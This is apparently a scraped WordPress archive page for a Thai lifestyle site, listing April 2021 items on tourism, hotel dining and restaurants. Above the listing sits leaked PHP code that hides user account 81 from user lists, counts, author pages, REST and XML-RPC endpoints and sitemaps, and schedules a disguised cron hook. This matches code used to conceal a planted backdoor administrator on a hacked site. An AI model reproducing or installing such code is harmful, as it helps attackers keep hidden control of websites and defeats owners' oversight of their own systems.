add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 81;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 81 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 81 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 81;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 81;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 81;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/81(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 81;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
April 2021 – Nairobroo
Archive for April, 2021
News
เรื่อง
จากสถานการณ์การท่องเที่ยวภายในประเทศเนื่องหลังจากสถานการณ์การแพร่ระบาดของโรคโควิด-19 ภายในประเทศ ตั้งแต่ปีจนมาถึงการระบาดระลอกใหม่ในปีนี้ สถานการณ์การท่องเที่ยวก็ยิ่งทรุดตัวลง อย่างไรก็ตามไม่ช้าก็เร็ว ปีนี้ กลางปี หรือเมื่อไหร่ก็ตาม เราก็ตั้งตารอการ “รีโอเพนนิ่งท่องเที่ยว” การกลับมาเที่ยวได้อีกอีกครั้ง เพราะการท่องเที่ยวก็ยังเป็นสิ่งที่คนไทย และคนทั่วโลกรอคอย
News
เรื่อง
โรงแรมมณเฑียร สุรวงศ์ กรุงเทพฯ ภูมิใจนำเสนอ พระรามสี่ บิสโตร (Phar-Ram IV Bistro) บิสโตรใหม่ล่าสุดที่มาช่วยผนึกกำลังให้กับโรงแรมในฐานะจุดหมายในไลฟ์สไตล์กินดื่ม
News
เรื่อง
ครั้งแรกในประเทศไทย กับ Pop Up Restaurant ที่จะพาคุณไปสัมผัสมิติใหม่ของการรับประทานครัวซองต์
อีก 1 ปรากฎการณ์ความอร่อยที่ Koolpunt Gourmet และ Parc Borough City Resort ภูมิใจนำเสนอ “All I Love is Croissant”
News
เรื่อง
ขอเชิญชวนคุณมาจิบน้ำชายามบ่ายในธีม สปริง ซีซั่น (Spring Season) ที่ได้รับแรงบันดาลใจจากฤดูใบไม้ผลิของญี่ปุ่น ที่ เดอะ เบเกอรี่, โรงแรม ดิ แอทธินี โฮเทล แบงค็อก อะ ลักซ์ชูรี คอลเล็คชั่น โฮเทล และเลือกใช้ภาชนะสไตล์ญี่ปุ่น รวมทั้งวัตถุดิบญี่ปุ่นทั้งเมนูของคาวและของหวาน พร้อมชาที่สามารถเลือกได้ รวมถึงชาออร์แกนิกของชายดิม (Chaidim)
Eat
เรื่อง
“โคโค่ เจ้าพระยา” ถนนพระอาทิตย์ เป็นร้านอาหารบรรยากาศดีติดริมน้ำเจ้าพระยา ที่เพิ่งเปิดตัวเมนูกัญชา พร้อมเผยสูตรลับในอาหารที่มีส่วนผสมของกัญชา 10 กว่าเมนู